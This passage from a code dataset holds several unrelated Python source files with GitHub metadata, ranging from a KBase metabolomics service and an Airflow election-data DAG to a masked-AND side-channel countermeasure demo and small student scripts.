  def __init__(self, config):\n        #BEGIN_CONSTRUCTOR\n        \n        # Any configuration parameters that are important should be parsed and\n        # saved in the constructor.\n        self.callback_url = os.environ['SDK_CALLBACK_URL']\n        self.workspaceURL = config['workspace-url']\n        self.shared_folder = config['scratch']\n\n        #END_CONSTRUCTOR\n        pass\n\n\n    def get_mona_spectra(self, ctx, params):\n        \"\"\"\n        :param params: instance of type \"GetSpectraParams\" -> structure:\n           parameter \"workspace_name\" of String, parameter \"metabolic_model\"\n           of type \"model_ref\" (A reference to a kbase metabolic model),\n           parameter \"spectra_source\" of String, parameter \"spectra_query\" of\n           String\n        :returns: instance of type \"SpectraResults\" -> structure: parameter\n           \"report_name\" of String, parameter \"report_ref\" of String\n        \"\"\"\n        # ctx is the context object\n        # return variables are: output\n        #BEGIN get_mona_spectra\n        # Parse/examine the parameters and catch any errors\n        print('Validating parameters.')\n        for val in ('workspace_name', 'metabolic_model', 'spectra_source',\n                    'spectra_query'):\n            if val not in params:\n                raise ValueError('Parameter %s is not set in input arguments'\n                                 % val)\n\n        uuid_string = str(uuid.uuid4())\n        scratch = self.shared_folder + \"/\" + uuid_string\n        os.mkdir(scratch)\n        token = ctx['token']\n        ws_client = Workspace(self.workspaceURL, token=token)\n        with open('/kb/module/data/Compound_Data.json') as infile:\n            comp_data = json.load(infile)\n        # acquire metabolic model from the workspace and get inchikeys & names\n        try:\n            kb_model = ws_client.get_objects(\n                [{'name': params['metabolic_model'],\n                  'workspace': params['workspace_name']}])[0]\n        except Exception as e:\n            raise ValueError(\n                'Unable to get metabolic model object from workspace: (' +\n                params['workspace_name'] + '/' +\n                params['metabolic_model'] + ')' + str(e))\n        kb_ids = [x['id'].replace('_c0', '')\n                  for x in kb_model['data']['modelcompounds']]\n        names, inchis = set(), set()\n        for cid in kb_ids:\n            if cid in comp_data:\n                names.update(comp_data[cid].get('names', None))\n                inchis.add(comp_data[cid].get('inchikey', None))\n\n        # Acquire Spectral Library\n        if params['spectra_source'] == 'MoNA-API':\n            spec_file = acquire.from_mona(params['spectra_query'],\n                                          '/kb/module/data/')\n        else:\n            spec_file = '/kb/module/data/%s' % params['spectra_source']\n            try:\n                z = zipfile.ZipFile(spec_file + \".zip\")\n                z.extractall('/kb/module/data/')\n            except ValueError:\n                raise ValueError('%s is not a supported spectra source'\n                                 % params['spectra_source'])\n\n        # Filter Spectral Library\n        n_in_spectra, n_out_spectra, output_file = filter_file(spec_file, None,\n                                                               inchis, names)\n        print(n_in_spectra, n_out_spectra)\n        if not n_out_spectra:\n            raise RuntimeError(\"No matching spectra found\")\n\n        new_path = \"%s/%s%s.msp\" % (scratch, os.path.basename(output_file)[:-8],\n                                    params['metabolic_model'])\n        shutil.move(output_file, new_path)\n\n        # Package report\n        report_files = [{'path': new_path,\n                         'name': os.path.basename(new_path),\n                         'label': os.path.basename(new_path),\n                         'description': 'Spectral Library filtered with '\n                                        'supplied metabolic model'}]\n        report_params = {\n            'objects_created': [],\n            'message': 'Acquired %s matching spectra and filtered library to '\n                       '%s spectra which match the %s model' % (\n                n_in_spectra, n_out_spectra, params['metabolic_model']),\n            'file_links': report_files,\n            'workspace_name': params['workspace_name'],\n            'report_object_name': 'mass_spectra_report_' + uuid_string\n        }\n\n        # Construct the output to send back\n        report_client = KBaseReport(self.callback_url)\n        report_info = report_client.create_extended_report(report_params)\n        output = {'report_name': report_info['name'],\n                  'report_ref': report_info['ref'],\n                  }\n        #END get_mona_spectra\n\n        # At some point might do deeper type checking...\n        if not isinstance(output, dict):\n            raise ValueError('Method get_mona_spectra return value ' +\n                             'output is not type dict as required.')\n        # return the results\n        return [output]\n    def status(self, ctx):\n        #BEGIN_STATUS\n        returnVal = {'state': \"OK\",\n                     'message': \"\",\n                     'version': self.VERSION,\n                     'git_url': self.GIT_URL,\n                     'git_commit_hash': self.GIT_COMMIT_HASH}\n        #END_STATUS\n        return [returnVal]\n","repo_name":"kbaseapps/MetabolomicsTools","sub_path":"lib/MetabolomicsTools/MetabolomicsToolsImpl.py","file_name":"MetabolomicsToolsImpl.py","file_ext":"py","file_size_in_byte":6591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3350715117","text":"\"\"\"A collection of function for doing my project.\"\"\"\n\nimport random\n\ndef greeting():\n    \"\"\"Greets user and asks for the inputs that will be used all throughour the project. \"\"\"\n    \n    # Get name, temperature, top and color from the user\n    name = input('Hi, What is your name? ')\n    temperature = input('What is the temperature in farenheit? ')\n    top = input('What kind of top do you want to wear? ')\n    color = input('What color is the top? ')\n    \n    return name, int(temperature), top, color\n\n#Function on weather\ndef weather(temperature):\n    \"\"\"Given a temperature value it decides if the weather is going to feel chilly, hot or cold. \n    \n    Parameters\n    ----------\n    temperature : int\n        The number to be compared. \n    \n    Returns\n    -------\n    output : str\n        The way that the weather is going to feel like. \n    \"\"\"\n    \n    # Use if/elif/else statements to know how the temperature is going to feel like\n    if temperature > 60 and temperature < 72:\n        temp = 'chilly'\n    elif temperature >= 72 and temperature < 100:\n        temp = 'hot'\n    elif temperature <= 60:\n        temp = 'cold'\n    else:\n        temp = None\n        \n    return temp\n\n#Function on type of bottoms\n#I can use random function to choose any of the choices in either of the lists\n\ndef bottoms_shoes(temp):\n    \"\"\"Given the temperature returns the bottoms and shoes for it. \n    \n    Parameters\n    ----------\n    temp : str\n        The temperature to be compared to check what kind of bottoms. \n    \n    Returns\n    -------\n    choice_1 : str\n        The bottoms that the student should use. \n    choice_2 : str\n        The shoes that the student should use.\n    \"\"\"\n\n    bottoms_chilly = ['jeans', 'long overalls']\n    bottoms_hot = ['shorts', 'skirt', 'short overalls']\n    bottoms_cold = ['leggings', 'leather pants', 'joggers']\n    shoes_chilly = ['sneakers', 'loafers']\n    shoes_cold = ['ankle boots', 'over the knee boots', 'knee high boots']\n    shoes_hot = ['sandals', 'slides']\n    \n    # The if/elif/else loop, using random from ramdon package chooses a bottom from the list that temp belongs to.\n    if temp == 'chilly':\n        choice_1 = random.choice(bottoms_chilly)\n        choice_2 = random.choice(shoes_chilly)\n    elif temp == 'hot':\n        choice_1 = random.choice(bottoms_hot)\n        choice_2 = random.choice(shoes_hot)\n    elif temp == 'cold':\n        choice_1 = random.choice(bottoms_cold)\n        choice_2 = random.choice(bottoms_cold)\n    else:\n        choice_1 = None\n        choice_2 = None\n    \n    return choice_1, choice_2\n\n#Function on mix of colors\n#How about two colors come back\n\ndef colors_mix(color):\n    \"\"\"Given a primary color it randomly chooses a color that matches. \n    \n    Parameters\n    ----------\n    color : str\n        The color of the top the student wants to wear. \n    \n    Returns\n    -------\n    choice : str\n        The color that matches the given color of the top. \n    \"\"\"\n    \n    lst_primary = ['black', 'white', 'red', 'yellow', 'blue']\n    white_mix = ['black', 'red', 'yellow', 'blue', 'cyan', 'orange', 'pink','violet', 'indigo','chartreuse', 'orange']\n    black_mix = ['white', 'red', 'yellow', 'blue', 'cyan', 'orange', 'pink','violet', 'indigo','chartreuse', 'orange']\n    red_mix = ['cyan', 'orange', 'pink']\n    blue_mix = ['yellow', 'violet', 'indigo']\n    yellow_mix = ['blue', 'chartreuse', 'orange']\n    \n    # Makes the string all lowercase\n    color = color.lower()\n    \n    #The first if/elif/else loop checks that the lowercase primary color is in our list to then assign a color that matches\n    if color in lst_primary:\n        # Then this loop uses random from the random package to choose a color from our list\n        if color == 'black':\n            choice = random.choice(black_mix)\n        elif color == 'white':\n            choice = random.choice(white_mix)\n        elif color == 'red':\n            choice = random.choice(red_mix)\n        elif color == 'blue':\n            choice = random.choice(blue_mix)\n        elif color == 'yellow':\n            choice = random.choice(yellow_mix)\n        else:\n            choice = None        \n    else:\n        choice = 'color should be primary: black, white, red, blue or yellow'\n        \n    return choice\n\n#final function \n#should say goodbye \n\ndef farewell():\n    \n    name, temperature, top, color = greeting()\n    feels_like_temp = weather(temperature)\n    outfit = bottoms_shoes(feels_like_temp)\n    final_color = colors_mix(color)\n    \n    print('Hello ' + name + ' your outfit is ' + outfit[0] + ' and ' + outfit[1])\n    print('The color that matches with ' + color + ' is ' + final_color)\n    \nfarewell()","repo_name":"avenerio/COGS18_Project","sub_path":"My_project/my_module/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6062146532","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 21 20:30:21 2019\r\n\r\n@author: x00423910\r\n\"\"\"\r\n\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport random\r\n\r\n\r\ndef preProcessDataForOffLineInfer(fileName):\r\n    #导入测试数据\r\n    with open(fileName, \"r\") as rf:\r\n        file_data = pd.read_csv(rf)\r\n        file_data = np.array(file_data.get_values(), dtype=np.float32)\r\n        print(\"fileName:\", fileName, \"  shape of file data:\", file_data.shape)\r\n   \r\n    #至此，我们把fileName文件里的数据都读到file_test_set_data中了\r\n    #此时的file_test_set_data是个维度为[XXX, 18]的数组\r\n    #开始对每个数据样本构造数据特征\r\n    test_xs = []\r\n    for i in range(len(file_data)):\r\n        org_data = file_data[i]\r\n        #和训练代码中预处理一致地，我们需要构建之前的3个数据特征\r\n        feature_dis_2d = np.sqrt(np.power(org_data[12]-org_data[1],2)+np.power(org_data[13]-org_data[2],2)) \r\n        feature_RS_Power = org_data[8]\r\n        feature_dis_3d = np.sqrt(np.power(org_data[12]-org_data[1],2)\r\n                                 +np.power(org_data[13]-org_data[2],2)\r\n                                 +np.power(org_data[14]-org_data[9],2))\r\n        tmp_test_xs = [feature_dis_2d/100, feature_RS_Power, feature_dis_3d/100]\r\n        test_xs.append(tmp_test_xs)\r\n    #将test_xs转换为numpy数组类型\r\n    test_xs = np.array(test_xs)  \r\n    print(\"shape of test_xs:\", test_xs.shape) \r\n    return test_xs\r\n\r\n\r\ndef infer(fileName):\r\n    test_xs = preProcessDataForOffLineInfer(fileName)\r\n    \r\n    #从保存的模型文件中将模型加载回来\r\n    with tf.Session(graph=tf.Graph()) as sess:\r\n      tf.saved_model.loader.load(sess, [\"serve\"], \"./model_0922\")\r\n      graph = tf.get_default_graph()\r\n      x = sess.graph.get_tensor_by_name('haha_input_x:0')\r\n      y = sess.graph.get_tensor_by_name('haha_output_y:0')\r\n      infer_y_value = sess.run(y, feed_dict={x: test_xs})\r\n      print(\"shape of infer_y_value:\", infer_y_value.shape)\r\n      #保存结果为csv文件      \r\n      np.savetxt(fileName+\"_infer_res.csv\", infer_y_value, delimiter=',')\r\n      \r\n\r\n#test_xs = preProcessDataForOffLineInfer(os.path.join(\"test_set\",\"test_112501.csv\"))\r\ninfer(os.path.join(\"test_set\",\"test_112501.csv\"))\r\n","repo_name":"Aplicity/Huawei_shumo_LSTM","sub_path":"shumo_Demo/off_line_infer_code/off_line_infer_code.py","file_name":"off_line_infer_code.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"32444668448","text":"\nimport grid2op\nimport warnings\nimport unittest\nimport pdb\n\n\nclass Issue533Tester(unittest.TestCase):\n    def setUp(self) -> None:\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\")\n            self.env = grid2op.make('l2rpn_neurips_2020_track1',\n                                          test=True,\n                                          _add_to_name=type(self).__name__,\n                                          )\n        self.env.seed(0)\n        return super().setUp()\n    \n    def tearDown(self):\n        self.env.close()\n        \n    def test_issue_as_serializable_dict(self):\n        actions = self.env.action_space.get_all_unitary_topologies_set(self.env.action_space, sub_id=1)   \n        actions[1].as_serializable_dict()\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"rte-france/Grid2Op","sub_path":"grid2op/tests/test_issue_533.py","file_name":"test_issue_533.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"16"}
+{"seq_id":"38189510462","text":"# AND function calculation between an odd number of XOR masked data shares\r\n# for every i this algorithm calculates:\r\n# Ci = [XOR(k!=i: Ak) AND XOR(j!=i: Bj)] XOR (Ai AND Bi)\r\n\r\n# The generic parameters enable arbitrary wide words to be AND-ed which consist of arbitrary odd\r\n# number masked shares. The algorithm does not work with an even number of shares due to its math\r\n# properties!\r\n\r\ndef masked_AND_rolled_out(am, bm):\r\n    #any non-zero offset creates non-completeness, can even be random\r\n    offset = 1\r\n    #calculate AND between masked values\r\n    cm = [am[i] & bm[i] for i in range(r)]\r\n    #calculating correction terms\r\n    for i in range(r):\r\n        summa = 0\r\n        #calculating no parities between all but 1 Ak and Bj bits which could cause unmasking\r\n        for j in range(r):\r\n            if i==j:\r\n                continue\r\n            summa ^= am[i] & bm[j]\r\n        #addig correction term to the particular output share\r\n        #which is the \"AND\" between the parities\r\n        cm[i-offset] ^= summa\r\n    return cm\r\n\r\n# BEGIN TESTING\r\n\r\na = 0x76857f6f\r\nb = 0x5432f1f2\r\nprint(\"A:      \", hex(a))\r\nprint(\"B:      \", hex(b))\r\nprint(\"AND:    \", hex(a & b))\r\n\r\n# preparing odd pieces of random numbers for masking\r\n# the algorithm doesn't work with an even number of shares!\r\n\r\nr = 7 #6 #uncomment to test even number of shares\r\n\r\nra =[0x67978544,\r\n     0xa6f328ab,\r\n     0x68979586,\r\n     0xa76ef4bc,\r\n     0xc9876d3e, # comment to test even number of shares\r\n     0xa7656b36] \r\n\r\nrb =[0x6abdc744,\r\n     0x895728ab,\r\n     0xfe45c8d6,\r\n     0xc9876d3e,\r\n     0xe346a867, # comment to test even number of shares\r\n     0x86f675ed] \r\n\r\n# the sum of the masks has to be zero at first...*1\r\nrasum = 0\r\nfor ma in ra:\r\n    rasum ^= ma\r\nra.append(rasum)\r\nrbsum = 0\r\nfor mb in rb:\r\n    rbsum ^= mb\r\nrb.append(rbsum)\r\n\r\n# *1...so that adding a and b to any arbitrary random number yields valid shares\r\nam = ra\r\nam[2] ^= a #index is arbitrary\r\nbm = rb\r\nbm[r-2] ^= b #index is arbitrary\r\n\r\n# test vectors for VHDL code\r\n#for s in am:\r\n#    print(hex(s))# test vectors for VHDL code\r\n#for s in bm:\r\n#    print(hex(s))\r\n\r\n# double checking the sum of shares\r\na = 0\r\nb = 0\r\nfor i in range(r):\r\n    a ^= am[i]\r\n    b ^= bm[i]\r\nprint(\"A sum:  \", hex(a))\r\nprint(\"B sum:  \", hex(b))\r\n\r\n# AND calculation between masked shares\r\ncm = masked_AND_rolled_out(am, bm)\r\n\r\n# test vectors for VHDL code\r\n#for s in cm:\r\n#    print(hex(s))\r\n\r\n#summing up the result shares\r\nc = 0\r\nfor k in range(len(cm)):\r\n    c ^= cm[k]\r\nprint(\"Result: \", hex(c))\r\nprint(\"Correct: \", c == a&b)","repo_name":"InfamousTechnician/Side_channel_attack_countermeasures","sub_path":"masked_AND_by_me/rolled_out_masked_and.py","file_name":"rolled_out_masked_and.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"6780018669","text":"# improvements:\n# use kellylist dataset to use more frequently used words as this shit comes up with some weird ass words\n\nimport json\n\nwith open(\"svenska-ord.json\",\"r\") as f:\n    data = json.load(f)\n\ndef generate5WordFile(data):\n    newData = [word.lower() for word in data if len(word) == 5 and (\" \" not in word) and (\"-\" not in word)]\n    with open(\"sample.json\", \"w\") as outfile:\n        json.dump(newData, outfile, ensure_ascii=False)\n\n","repo_name":"theojohnhenry/ordle","sub_path":"json/dataprocess.py","file_name":"dataprocess.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74152213449","text":"from datetime import datetime, timedelta\nimport os\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators import (StageToRedshiftOperator, LoadFactDimensionOperator,\n                               DataQualityOperator)\nfrom helpers import SqlQueries\nfrom airflow.models import Variable\n\n\n#/opt/airflow/start.sh\n\ndefault_args = {\n    'owner': 'udacity',\n    'start_date': datetime(2022, 5, 29),\n    'depends_on_past': False,\n    'retries': 3,\n    'retry_delay': 300,\n    'catchup': False,\n    'email_on_retry': False\n}\n\ndag = DAG('election_data_dag',\n          default_args=default_args,\n          description='Load and transform brazil election data in Redshift',\n          schedule_interval='0 * * * *',\n          max_active_runs=1\n        )\n\nstart_operator = DummyOperator(task_id='Begin_execution',  dag=dag)\n\nwait_operator = DummyOperator(task_id='Load_complete',  dag=dag)\n\n\nstage_candidates_data_to_redshift = StageToRedshiftOperator(\n    task_id='stage_candidates_data_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    create_table_query=SqlQueries.create_staging_candidates,\n    destination_schema='raw_data',\n    destination_table='election_candidates',\n    s3_path='s3://udacity-brazil-election-votes/consulta_cand/',\n    file_format= 'csv',\n    copy_parameters=\" delimiter as ',' truncatecolumns IGNOREHEADER 1 blanksasnull emptyasnull\",\n    aws_credentials='aws_credentials'\n)\n\nstage_votes_data_to_redshift = StageToRedshiftOperator(\n    task_id='stage_votes_data_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    create_table_query=SqlQueries.create_staging_votes,\n    destination_schema='raw_data',\n    destination_table='election_votes',\n    s3_path='s3://udacity-brazil-election-votes/votacao_secao/',\n    file_format= 'csv',\n    copy_parameters=\"delimiter as ',' truncatecolumns IGNOREHEADER 1 blanksasnull emptyasnull\",\n    aws_credentials='aws_credentials'\n)\n\n\nload_dim_candidate_table = LoadFactDimensionOperator(\n    task_id='load_dim_candidate_table_task',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    destination_schema=\"dim\",\n    destination_table=\"candidate\",\n    create_table_query=SqlQueries.create_dim_candidate,\n    insert_table_query=SqlQueries.insert_dim_candidate\n)\n\nload_dim_date_table = LoadFactDimensionOperator(\n    task_id='load_dim_date_table_task',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    destination_schema=\"dim\",\n    destination_table=\"date\",\n    create_table_query=SqlQueries.create_dim_date,\n    insert_table_query=SqlQueries.insert_dim_date\n)\n\nload_dim_election_table = LoadFactDimensionOperator(\n    task_id='load_dim_election_table_task',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    destination_schema=\"dim\",\n    destination_table=\"election\",\n    create_table_query=SqlQueries.create_dim_election,\n    insert_table_query=SqlQueries.insert_dim_election\n)\n\nload_dim_party_table = LoadFactDimensionOperator(\n    task_id='load_dim_party_table_task',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    destination_schema=\"dim\",\n    destination_table=\"party\",\n    create_table_query=SqlQueries.create_dim_party,\n    insert_table_query=SqlQueries.insert_dim_party\n)\n\nload_dim_location_table = LoadFactDimensionOperator(\n    task_id='load_dim_location_table_task',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    destination_schema=\"dim\",\n    destination_table=\"location\",\n    create_table_query=SqlQueries.create_dim_location,\n    insert_table_query=SqlQueries.insert_dim_location\n)\n\nload_fact_votes_table = LoadFactDimensionOperator(\n    task_id='load_fact_votes_table_task',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    destination_schema=\"fact\",\n    destination_table=\"votes\",\n    create_table_query=SqlQueries.create_fact_votes,\n    insert_table_query=SqlQueries.insert_fact_votes\n)\n\nrun_quality_checks_dim_location = DataQualityOperator(\n    task_id='run_quality_checks_dim_location_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    table_schema='dim',\n    table='location',\n    id_column='id',\n    checks=['unique_key',\n            'load_successful']\n)\n\nrun_quality_checks_dim_date = DataQualityOperator(\n    task_id='run_quality_checks_dim_date_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    table_schema='dim',\n    table='date',\n    id_column='date',\n    checks=['unique_key',\n            'load_successful']\n)\n\nrun_quality_checks_dim_election = DataQualityOperator(\n    task_id='run_quality_checks_dim_election_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    table_schema='dim',\n    table='election',\n    id_column='id',\n    checks=['unique_key',\n            'load_successful']\n)\n\nrun_quality_checks_dim_candidate = DataQualityOperator(\n    task_id='run_quality_checks_dim_candidate_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    table_schema='dim',\n    table='candidate',\n    id_column='cpf_number',\n    checks=['unique_key',\n            'load_successful']\n)\n\nrun_quality_checks_dim_party = DataQualityOperator(\n    task_id='run_quality_checks_dim_party_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    table_schema='dim',\n    table='party',\n    id_column='id',\n    checks=['unique_key',\n            'load_successful']\n)\n\nrun_quality_checks_fact_votes = DataQualityOperator(\n    task_id='run_quality_checks_fact_votes_task',\n    dag=dag,\n    redshift_conn_id='redshift',\n    table_schema='fact',\n    table='votes',\n    checks=['load_successful']\n)\n\nend_operator = DummyOperator(task_id='Stop_execution',  dag=dag)\n\nstart_operator >> stage_candidates_data_to_redshift >> wait_operator\nstart_operator >> stage_votes_data_to_redshift >> wait_operator\n\nwait_operator >> load_dim_candidate_table >> run_quality_checks_dim_candidate >> end_operator\nwait_operator >> load_dim_date_table >> run_quality_checks_dim_date >> end_operator\nwait_operator >> load_dim_party_table >> run_quality_checks_dim_party >> end_operator\nwait_operator >> load_dim_location_table >> run_quality_checks_dim_location >> end_operator\nwait_operator >> load_dim_election_table >> run_quality_checks_dim_election >> end_operator\nwait_operator >> load_fact_votes_table >> run_quality_checks_fact_votes >> end_operator\n\n\n\n","repo_name":"betinamehl/udacity_de_nanodegree","sub_path":"capstone_project/airflow/dags/election_data_dag.py","file_name":"election_data_dag.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18710593687","text":"import sys\n\nn, l = map(int, input().split())\n\ns = [input() for i in range(n)]\n\ns.sort()\n\nmin_str = \"\"\n\nfor item in s:\n    min_str += item\n\nprint(\"{}\".format(min_str))","repo_name":"shio408/AtCoderBeginnerContest-practice","sub_path":"question32.py","file_name":"question32.py","file_ext":"py","file_size_in_byte":166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17549977051","text":"import requests\r\nimport yaml\r\n\r\nyaml_path = './config.yaml'\r\n\r\ndef map_get(center, markers=None):\r\n    with open(yaml_path, 'r') as f:\r\n        cfg = yaml.load(f.read(), Loader = yaml.FullLoader)\r\n        ak = cfg['API']['ak']\r\n        map_get_url = cfg['API']['map_get_url']\r\n        zoom = cfg['API']['zoom']\r\n        width = cfg['API']['width']\r\n        height = cfg['API']['height']\r\n        markerStyles = cfg['API']['markerStyles']\r\n        scale = cfg['API']['scale']\r\n \r\n    params = { # 参考文档：https://lbsyun.baidu.com/index.php?title=static\r\n        'ak': ak,\r\n        'center': center,\r\n        'zoom': zoom,\r\n        'width': width,\r\n        'height': height,\r\n        'markerStyles': markerStyles,\r\n        'scale': scale,\r\n    }\r\n\r\n    params['markers'] = markers if markers else center # 显示中心点位置或者船的位置\r\n    # print(params)\r\n\r\n    response = requests.get(map_get_url, params=params)\r\n    # with open('D:/project/original_map/map.html', 'wb') as f:\r\n    #     f.write(response.content)\r\n    with open('./original_map/current_map.png', 'wb') as f:\r\n        f.write(response.content)","repo_name":"NicerY/plant_seg_demo","sub_path":"map/map_get.py","file_name":"map_get.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18675389659","text":"from suds.client import Client\nfrom suds.xsd.doctor import ImportDoctor, Import\nimport requests\nimport json\nimport pytest\nimport datetime\n\nurl = \"http://www.webxml.com.cn/WebServices/IpAddressSearchWebService.asmx?wsdl\"\n\nimp = Import('http://www.w3.org/2001/XMLSchema', location='http://www.w3.org/2001/XMLSchema.xsd')\n\nimp.filter.add('http://WebXml.com.cn')\n\n# doctor = ImportDoctor(imp)\n# client = Client(url,doctor=doctor)\n# print(client.service.getCountryCityByIp(\"117.28.35.18\"))\n# rsp = requests.get(url)\n\n# print(rsp.text)\n\ndata = '''\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"http://WebXml.com.cn/\">\n   <soapenv:Header/>\n   <soapenv:Body>\n      <web:getCountryCityByIp>\n         <!--Optional:-->\n         <web:theIpAddress>117.75.179.13</web:theIpAddress>\n      </web:getCountryCityByIp>\n   </soapenv:Body>\n</soapenv:Envelope>'''\n\n# rsp = requests.post(url=url,data=data.encode(\"utf-8\"))\n# print(rsp.text)\n\n\n'''\ndata = [\"13588620187\",\"135886236187\",\"13188620187\"]\n@pytest.fixture(params=data,scope=\"module\")\ndef getuse(request):\n    data = request.param\n    url1 =\"https://tcc.taobao.com/cc/json/mobile_tel_segment.htm?tel={}\".format(data)\n#data1 = json.dumps(data1)\n    session = requests.Session()\n    rsp = session.get(url = url1)\n\n    yield rsp\n    with open('1.txt','a') as f:\n        f.write(rsp.text)\n\ndef test_case(getuse):\n    assert \"mts\" in getuse.text ,\"mts 不存在\"\ndef test_case1(getuse):\n    assert getuse.status_code ==200 ,\"访问失败\"\ndef test_case2(getuse):\n    assert \"province\" in getuse.text, \"province 不存在\"\ndef test_case3(getuse):\n    assert \"catName\" in getuse.text, \"catName 不存在\"\n\n\nif __name__ == '__main__':\n    pytest.main([\"C:/Users/Administrator/PycharmProjects/untitled/123test/lianxi02.py\"])\n'''\nimport itertools\n\n\ndef A(l):\n    for i in l:\n        if i % 2 == 0:\n            yield i\n\n\nl = [1, 2, 3, 4, 5, 6, 7, 9]\nl1 = [1, 2, 3, 4, 5, 6, 7, 9]\n\n\ndef B(l):\n    n = 0\n    for i in A(l):\n        n += i\n    return n\n\n\n# print(B(l))\nz = sum(i for i in l if i % 2 == 0)\n# print(z)\n\nfor a, b in itertools.product(l, l1):\n    if a + b == 10:\n        pass\n        #print(a, b)\n#    print(a,b)\nfor i in itertools.islice(l,0,None,2):\n    print(i)\n","repo_name":"shiqinghuana/Python","sub_path":"123test/lianxi02.py","file_name":"lianxi02.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10250734585","text":"import skimage\n\nimport numpy as np\nimport scipy\nimport skimage\n\nimport numba\nimport pandas as pd\n\nfrom glob import glob\nimport os\n\nfrom ._tqdm import tqdm\n\ndef lowres_image_iterator(path, img_as_float=True):\n\t\"\"\"\n\tIterator over all of a scene's low-resolution images (LR*.png) and their\n\tcorresponding status maps (QM*.png).\n\t\n\tReturns at each iteration a `(l, c)` tuple, where:\n\t* `l`: matrix with the loaded low-resolution image (values as np.uint16 or\n\t       np.float64 depending on `img_as_float`),\n\t* `c`: the image's corresponding \"clear pixel?\" boolean mask.\n\t\n\tScenes' image files are described at:\n\thttps://kelvins.esa.int/proba-v-super-resolution/data/\n\t\"\"\"\n\tpath = path if path[-1] in {'/', '\\\\'} else (path + '/')\n\tfor f in glob(path + 'LR*.png'):\n\t\tq = f.replace('LR', 'QM')\n\t\tl = skimage.io.imread(f, dtype=np.uint16)\n\t\tc = skimage.io.imread(q, dtype=np.bool)\n\t\tif img_as_float:\n\t\t\tl = skimage.img_as_float64(l)\n\t\tyield (l, c)\n\n\ndef bicubic_upscaling(img):\n    \"\"\"\n    Compute a bicubic upscaling by a factor of 3.\n    \"\"\"\n    r = skimage.transform.rescale(img, scale=3, order=3, mode='edge',\n                                  anti_aliasing=False, multichannel=False)\n    # NOTE: Don't change these options. They're required by `baseline_upscale`.\n    # http://scikit-image.org/docs/dev/api/skimage.transform.html#skimage.transform.rescale\n    # http://scikit-image.org/docs/dev/api/skimage.transform.html#skimage.transform.warp\n    return r\n\n\ndef baseline_upscale(path):\n\t\"\"\"\n\tReimplementation of the image enhancement operation performed by the\n\tbaseline code (`generate_sample_submission.py`) provided in:\n\thttps://kelvins.esa.int/proba-v-super-resolution/submission-rules/\n\t\n\t\t\"takes all low resolution images that have the maximum amount of clear\n\t\tpixels, computes a bicubic upscaling by a factor of 3 and averages their\n\t\tpixel intensities.\"\n\t\n\tThis function takes as argument the `path` to a single scene, and returns\n\tthe matrix with the scene's enhanced image.\n\t\"\"\"\n\tclearance = {}\n\tfor (l, c) in lowres_image_iterator(path, img_as_float=True):\n\t\tclearance.setdefault(c.sum(), []).append(l)\n\t\n\t# take all the images that have the same maximum clearance\n\timgs = max(clearance.items(), key=lambda i: i[0])[1]\n\t\n\tsr = np.mean([\n\t\tbicubic_upscaling(i)\n\t\tfor i in imgs\n\t\t], axis=0)\n\t\n\treturn sr\n\n\n\ndef central_tendency(images, agg_with='median',\n\t                 only_clear=False, fill_obscured=False,\n\t                 img_as_float=True):\n\t\"\"\"\n\tAggregate the given `images` through a statistical central tendency measure,\n\tchosen by setting `agg_with` to either 'mean', 'median' or 'mode'.\n\t\n\tExpects `images` to be a list of `(image, status map)` tuples.\n\tShould `images` be a string, it's interpreted as the path to a scene's\n\tfiles. The code will then aggregate that scene's low resolution images\n\t(LR*.png), while taking also into account their status maps (QM*.png).\n\t\n\tWill optionally aggregate only images' clear pixels (if `only_clear=True`)\n\tby using the information in images' corresponding status maps.\n\t\n\tIn some scenes, some pixels are obscured in all of the low-resolution\n\timages. Aggregation with mean/median will return np.nan for those pixels,\n\tand aggregation with mode will return 0.0.\n\tIf called with `fill_obscured=True` those pixels will be filled with the\n\t`agg_with` aggregate of the values at all those obscured pixels. Setting\n\t`fill_obscured` to one of 'mean', 'median' or 'mode' will indicate that is\n\tthe measure that should be used to aggregate obscured 